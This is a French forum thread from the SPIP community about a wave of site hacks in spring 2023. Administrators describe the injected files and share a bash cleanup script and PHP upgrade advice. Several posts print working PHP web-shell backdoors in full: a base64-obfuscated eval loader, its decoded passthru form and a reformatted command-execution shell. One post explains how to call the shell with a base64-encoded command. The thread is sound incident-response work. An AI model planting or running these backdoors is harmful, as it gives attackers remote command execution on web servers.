Alerte : vague de piratage de sites depuis le 23 avril 2023 : pas d’accès à /ecrire (version SPIP inférieures à 3.2.18, 4.1.8 et 4.2.1)

Bonjour,

Je viens de nettoyer en profondeur un site (SPIP 3.1.6) qui avait été hacké par la faille corrigée par : Mise à jour critique de sécurité : sortie de SPIP 4.2.1, SPIP 4.1.8, SPIP (…) - SPIP Blog ( SPIP 4.2.1, SPIP 4.1.8, SPIP 4.0.10 et SPIP 3.2.18)

J’ai trouvé 4 fichiers modifiés ou ajoutés :

  1. /spip.php
    La première ligne du fichier est modifiée ainsi :
    <?php if(isset($_POST['page'])&& strtolower($_POST['page'])=='spip_pass') die();?><?php
    Ce qui empêche d’utiliser la procédure d’oubli de mot de passe

  2. /ecrire/auto.php (ajouté)
    <?php if(isset($_GET['k'],$_GET['c'])){$k=@base64_decode($_GET['k']);$c=@base64_decode($_GET['c']);if($k!==FALSE&&$c!==FALSE){echo '#!#';$j=array('o'=>array(),'c'=>0);$d=array();$a=@ini_get('disable_functions');if($a)$d=explode(',',$a);else{$d=array();}if(@md5($k)==='e75acb27171300d9b9470c44ec4c1fc6'){function t($t){return @trim($t," \n\r\t");}function e($e){global $j;$j['o']=array('EXEC_ERROR');$j['c']=$e;}if(@function_exists('exec')&&@in_array('exec',$d)==FALSE){$b=@exec($c,$j['o'],$j['c']);if(!$b)e(110);}elseif(@function_exists('shell_exec')&&@in_array('shell_exec',$d)==FALSE){$b=@shell_exec($c);if($b===FALSE||$b===NULL)e(111);else{$j['o']=@explode("\n",t($b));}}else{$x=true;@ob_start();if(@function_exists('system')&&@in_array('system',$d)==FALSE){$b=@system($c,$j['c']);if($b===FALSE){e(112);$x=false;}}elseif(@function_exists('passthru')&&@in_array('passthru',$d)==FALSE){$b=@passthru($c,$j['c']);if($b===FALSE||$b!==NULL){e(113);$x=false;}}else{$x=false;$j['o']=array('NO_EXEC');$j['c']=101;}if($x)$j['o']=@explode("\n",t(@ob_get_contents()));@ob_end_clean();}}else{$j['o']=array('AUTH_ERROR');$j['c']=100;}$f=array();foreach($j['o'] as $l){$f[]=@base64_encode($l);}$j['o']=$f;if(@function_exists('json_encode'))echo @json_encode($j);else{echo '{"o":["'.@implode($f,'","').'"],"c":'.$j['c'].'}';}echo '#$#';}}?>
    Pas encore investigué ce que ça peut faire.

  3. /ecrire/local.php (ajouté)
    <?php @eval(@base64_decode("JGs9ZmFsc2U7aWYoaXNzZXQoJF9HRVRbJ2snXSkpeyRrPSRfR0VUWydrJ107fWlmKCRrICYmKCgkYz1AZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpIT09JycpKXtpZigoQG1kNShAYmFzZTY0X2RlY29kZSgkaykpPT09J2U3NWFjYjI3MTcxMzAwZDliOTQ3MGM0NGVjNGMxZmM2JykmJigoJHM9QGJhc2U2NF9kZWNvZGUoJGMpKSE9PUZBTFNFKSl7ZWNobyAnIyEjJztAcGFzc3RocnUoJHMpO2VjaG8gJyMkIyc7fX0"));?>
    Pas encore investigué ce que ça peut faire.

  4. tmp/pirates/z_ini_pirateConfig.php
    C’est Triag File Manager version 1.1 : Tryag File Manager - Pastebin.com

Pour l’instant, à part bloquer l’accès à l’admin du site, ça ne semble rien faire d’autre qu’avoir mis ces fichiers.

Mais c’est peut-être la tactique du hack dormant qui attends quelques mois d’être dans toutes les sauvegardes pour ensuite être activé et faire beaucoup plus de mal.

Bref : mettez à jour !

PS : Je ne suis pas core dev, je n’ai donc pas accès aux informations des tickets de sécurité.

Ce que je vais écrire est donc à confirmer par la Team.

En regardant ces 2 commits qui correspondent à la sortie de SPIP 3.2.18 :

L’écran de sécurité à jour devrait bloquer l’attaque en cours.

Voir aussi :

2 « J'aime »

Bonjour,
J’ai remarqué aussi des fichier langs.php dans local, ecrire, et tmp avec du code qui ressemble à des adresses IP…
Bonne soirée !

J’en profite pour poser une question.
Est-ce qu’on peut vider sans état d’âme les dossiers tmp et local ?
Pour tmp, j’imagine qu’il faut juste avoir récupéré ses sauvegardes de bases au préalable, si on le veut.

Je viens de trouver des config.php et local.php daté du 7 mai dans un de mes vieux spip, qui ressemblent bcp aux fichiers décrits ci-dessus, également.
Même fichier trouvé dans lib/api.php
Dans mon cas, config.php = local.php = api.php, ils sont identiques.
Le code est exactement le même que celui de RealET, l’espèce de clé par « JGs9… » également.
En revanche, sur ce même SPIP, je n’ai pas la modif de spip.php, ni le dossier /tmp/pirate

Donc, le code php qui se cache derrière la suite de caractère ci-dessus est :

$k=false;if(isset($_GET['k'])){$k=$_GET['k'];}if($k &&(($c=@file_get_contents('php://input'))!=='')){if((@md5(@base64_decode($k))==='e75acb27171300d9b9470c44ec4c1fc6')&&(($s=@base64_decode($c))!==FALSE)){echo '#!#';@passthru($s);echo '#$#';}}

Mes connaissances en php ne me suffisent pas pour savoir ce que ça fait.

J’ai quelques sites (dont je ne suis pas en charge de la maintenance) qui ont été touchés. J’ai fait le ménage mais à par les fichier .php, je n’ai rien vu d’autre. Un des fichiers tente de récupérer la table spip_auteurs dans une base sqlite mais le fichier n’est pas présent.

Une fois le ménage fait, tout a l’air ok à part un site où je n’arrive pas à me connecter à l’espace privé. As-tu réussi à rétablir l’accès à l’espace privé ?

Tu as bien vérifié que tu n’as pas des fichiers .htaccess suspects et/ou avec le contenu modifié à la racine du site et dans ecrire ?

Pas de .htaccess douteux ni de fichiers modifiés depuis l’attaque (recherche en ssh avec find . -mtime -45 > log.txt pour afficher les fichiers modifiés depuis 45j).

Je ne peux juste plus me connecter : je valide le form de login, ça mouline un peu et ça revient sur le form comme si de rien n’était. Par contre, si j’essaie de me connecter avec un mauvais mot de passe, j’ai bien l’info « mot de passe erroné ».

Bonjour

En complément vous pouvez avoir les fichiers suivants concernés :

lib/api.php
lib/api_response.php
lib/langs.php
local/config.php
local/define.php
ecrire/local.php
ecrire/auto.php
plugins/auto/saisies/saisies.php
plugins/auto/saisies/saisies_loader.php
response.php
update.php

J’utilise un site sous SPIP 3.2.19 mais je ne peux monter en version car j’utilise le plugin AHUNTSIC qui n’est que compatible jusqu’à la version 3.2. J’ai été hacké par le même robot que celui décrit ici-même. J’ai refait une installation propre de SPIP 3.2.19 et tout est rentré dans l’ordre.
Cependant, est-ce que je peux faire quelque chose pour essayer de me protéger contre cette attaque si elle venait à se reproduire ?

De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).

@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon :slight_smile:

Bonjour

En complément un script (brut de décoffrage) qui permet de faire un certain nettoyage à lancer en bash sur le serveurs concernés.

Le script cherche les spip.php verolés, stock les repértoires concernés, supprime une liste de répertoires et des fichiers
Ensuite il repasse sur la liste des répertoires vérolés pour voir si tout est nettoyé et autrement indique les fichiers à vérifier.

Par défaut il est en dry-run c’est à dire que sera listé les actions à lancer. Ensuite on copie/colle ou bien on modifie la variable dry_run pour 0

C’est maintenant sur spip-contrib-outils/spip_cleaner: Clean spip instance after some hack - spip_cleaner - SPIP on GIT

Je mets à jour à date le script mais mieux vaut se reporter au dépôt git

#!/bin/bash

##
# Version 0.5
#  argument pour le path de départ
#  chercher tous les spip (exlusion de chemin faux positif comme plugins-dist/ et ecrire/auth/
#  considérer les sites vérolés sur un grep dans les path spip identifiés
# Version 0.4
# Version 0.3
#  Ajout ecran de securité
# Version 0.2
#  ajout dry-run
#  check cyclique avec liste des spip identifié automatiquement
#  support coloration message
# Version 0.1
#  Premier jet 
## 

dry_run=1
spip_list="$HOME/spip_veroles.lst"
www_dir="/var/www/"


if [[ -d "$1" ]]; then
	www_dir="$1"
fi


if [[ $dry_run == 1 ]]; then
        rm_cmd="echo rm -r"
else
        rm_cmd="rm -fr"
fi

if [[ ! -f "$spip_list" ]];then
  touch "$spip_list"
fi

function vprint() {
  msg=$1
  color=$2
  # Reset
  NC='\033[0m'       # Text Reset
  # Regular Colors
  # shellcheck disable=SC2034
  BLACK='\033[0;30m'        # Black
  # shellcheck disable=SC2034
  RED='\033[0;31m'          # Red
  # shellcheck disable=SC2034
  GREEN='\033[0;32m'        # Green
  # shellcheck disable=SC2034
  YELLOW='\033[0;33m'       # Yellow
  # shellcheck disable=SC2034
  BLUE='\033[0;34m'         # Blue
  # shellcheck disable=SC2034
  PURPLE='\033[0;35m'       # Purple
  # shellcheck disable=SC2034
  CYAN='\033[0;36m'         # Cyan
  # shellcheck disable=SC2034
  WHITE='\033[0;37m'        # White

  printf "${!color}%s${NC}\n" "$msg"
}

function clean_spip() {
  spip_dir=$1

  vprint "$spip_dir" "RED"
  $rm_cmd "$spip_dir/*.cache"
  $rm_cmd "$spip_dir/tmp/*"
  $rm_cmd "$spip_dir/local/*"
  mkdir -p "$spip_dir/tmp"
  wget https://git.spip.net/spip-contrib-outils/securite/raw/branch/master/ecran_securite.php -qO "$spip_dir/config/ecran_securite.php"
  wget https://git.spip.net/spip/spip/raw/branch/master/spip.php -qO "$spip_dir/spip.php"


  grep -lr "@eval(@base64_decode" "$spip_dir"

  files_to_remove="
    response.php
    update.php
    ecrire/local.php
    ecrire/auto.php
    local/config.php
    local/define.php
    lib/api.php
    lib/api_response.php
    lib/langs.php
    plugins/auto/saisies/saisies.php
    plugins/auto/saisies/saisies_loader.php
  "
  for file in ${files_to_remove}; do
    if [ -f "$spip_dir/$file" ]; then
      $rm_cmd "$spip_dir/$file"
    fi
  done;
}

function search_spip() {
        spip_all_path=()
        www_dir="$1"
        spip_files=$(find "$www_dir" -type d \( -path "*plugins-dist*" -o -path "*ecrire/auth*" \) -prune -o -iname spip.php -print)
        for spip in $spip_files;do
                spip_full_path=$(realpath "$spip")
                spip_dir=$(dirname "$spip_full_path")
                spip_all_path+=("$spip_dir")
        done
	echo "${spip_all_path[@]}"
}

spip_founds=$(search_spip "$www_dir")
vprint "Search hacked SPIP" "BLUE"
for spip in $spip_founds; do
  spip_hacked=$(grep -q 'spip_pass' "$spip/spip.php")
  if [ "$spip_hacked" ];then
	  echo "$spip" >> "$spip_list"
	  clean_spip "$spip"
  fi
done;

vprint "Check integrity on previous SPIP hacked" "BLUE"
for spip_dir in $(uniq "$spip_list"); do
  clean_spip "$spip_dir"
done;

vprint "Manage all spip" "BLUE"
for spip in $spip_founds; do
  clean_spip "$spip"
done;

1 « J'aime »

Non, par définition. Ce n’est plus maintenu, donc ca pourrait revenir tant que tu ne fais pas de mise à jour.

AHSTUNCIC est vraiment vieux. Il se peut cependant qu’en forcant les bornes dans le paquet.xml il fonctionne sur les version plus récentes.

Merci Maïeul ! Oui il est trop vieux mais je ne vais pas changer car la propriétaire du site veut aller sous WordPress ou Wickx…

···

PS : je ne sais pas forcer les bornes dans les paquets XML…

Bien cordialement,

Christian Pitet

moui, je suis pas sur que rester sur un squelette pas au gout du jour le convaincrait de rester sous SPIP.

Cela étant j’ai vu passer des sites sur AHSUNTIC à jour, donc à mon avis le forcage des bornes ferait l’affaire.

Je me permets de remettre le code de manière plus lisible:

<?php
if (isset($_GET['k'], $_GET['c'])) {
    $k = @base64_decode($_GET['k']);
    $c = @base64_decode($_GET['c']);
    if ($k !== FALSE && $c !== FALSE) {
        echo '#!#';
        $j = array('o' => array(), 'c' => 0);
        $d = array();
        $a = @ini_get('disable_functions');
        if ($a)
            $d = explode(',', $a);
        else {
            $d = array();
        }
        if (@md5($k) === 'e75acb27171300d9b9470c44ec4c1fc6') {
            function t($t)
            {
                return @trim($t, " \n\r\t");
            }
            function e($e)
            {
                global $j;
                $j['o'] = array('EXEC_ERROR');
                $j['c'] = $e;
            }
            if (@function_exists('exec') && @in_array('exec', $d) == FALSE) {
                $b = @exec($c, $j['o'], $j['c']);
                if (!$b)
                    e(110);
            } elseif (@function_exists('shell_exec') && @in_array('shell_exec', $d) == FALSE) {
                $b = @shell_exec($c);
                if ($b === FALSE || $b === NULL)
                    e(111);
                else {
                    $j['o'] = @explode("\n", t($b));
                }
            } else {
                $x = true;
                @ob_start();
                if (@function_exists('system') && @in_array('system', $d) == FALSE) {
                    $b = @system($c, $j['c']);
                    if ($b === FALSE) {
                        e(112);
                        $x = false;
                    }
                } elseif (@function_exists('passthru') && @in_array('passthru', $d) == FALSE) {
                    $b = @passthru($c, $j['c']);
                    if ($b === FALSE || $b !== NULL) {
                        e(113);
                        $x = false;
                    }
                } else {
                    $x = false;
                    $j['o'] = array('NO_EXEC');
                    $j['c'] = 101;
                }
                if ($x)
                    $j['o'] = @explode("\n", t(@ob_get_contents()));
                @ob_end_clean();
            }
        } else {
            $j['o'] = array('AUTH_ERROR');
            $j['c'] = 100;
        }
        $f = array();
        foreach ($j['o'] as $l) {
            $f[] = @base64_encode($l);
        }
        $j['o'] = $f;
        if (@function_exists('json_encode'))
            echo @json_encode($j);
        else {
            echo '{"o":["' . @implode($f, '","') . '"],"c":' . $j['c'] . '}';
        }
        echo '#$#';
    }
}

En gros (j’ai pas regardé en détail ni testé, juste lu) avec ce fichier il suffit d’appeler ecrire/auto.php?k=e75acb27171300d9b9470c44ec4c1fc6&c=<commande linux de votre choix encodée en base 64> pour exécuter un programme sur le serveur.
La commande peut être du genre rm -rf, mysql xxxx ou bien même n’importe quel script que l’attaquant a pu déposer au préalable.

A noter que l’attaquant essaie d’utiliser plusieurs méthodes, en passant par exec, shell_exec, system & Cie…
Bref, c’est une backdoor :slight_smile:

1 « J'aime »

réinstaller SPIP et tous les plugins à partir de zéro

c’est ce que j’ai essayé de faire, avec la version, 4.2 donc.
Mon site était sous la version 3.2 et ma version de PHP; 5.
Première question (à laquelle je n’ai pas réussi à répondre en visitant les forums): PHP 5 étant incompatible avec la version 4.2 de SPIP comment je fais pour passer à une version plus récente de PHP ?

J’ai quand même essayé de refaire une installation:
avec spip loader, zéro résultat
Installation manuelle, pas plus de résultat

monsite.org/ecrire → erreur 404

Merci de vos lumières.

Le mar. 30 mai 2023 à 17:34, jeanmarie via Discuter de SPIP <noreply@discuter.spip.net> a écrit :

jeanmarie
Mai 30

De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).

@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.

Il faut faire évoluer les maj en parallèle avec les versions de PHP…

passer le site en PHP 7.4 mettre à jour en 4.0 passer en 8 etc

···

Le 01/06/2023 à 21:19, Claire HENRION via Discuter de SPIP a écrit :

réinstaller SPIP et tous les plugins à partir de zéro

c’est ce que j’ai essayé de faire, avec la version, 4.2 donc.
Mon site était sous la version 3.2 et ma version de PHP; 5.
Première question (à laquelle je n’ai pas réussi à répondre en visitant les forums): PHP 5 étant incompatible avec la version 4.2 de SPIP comment je fais pour passer à une version plus récente de PHP ?

J’ai quand même essayé de refaire une installation:
avec spip loader, zéro résultat
Installation manuelle, pas plus de résultat

monsite.org/ecrire → erreur 404

Merci de vos lumières.

Le mar. 30 mai 2023 à 17:34, jeanmarie via Discuter de SPIP <> a écrit :


jeanmarie
Mai 30

De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).

@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.


Voir le sujet ou répondre à ce courriel pour répondre.

Pour vous désabonner de ces courriels, cliquez ici.

noreply@discuter.spip.net

Il faut faire évoluer les maj en parallèle avec les versions de PHP
Merci de me l’avoir confirmé.
En suivant ce protocole https://contrib.spip.net/PhpMyAdmin-phpinfo#L-interet
, je devrais y arriver -)

Le changement de version de PHP se fait généralement via l’espace client chez ton hébergeur.

Et surtout penser que certains hébergeurs n’autorisent pas de fixer la version de php site par site, Dans ce cas, tous les sites hébergés doivent évoluer en même temps.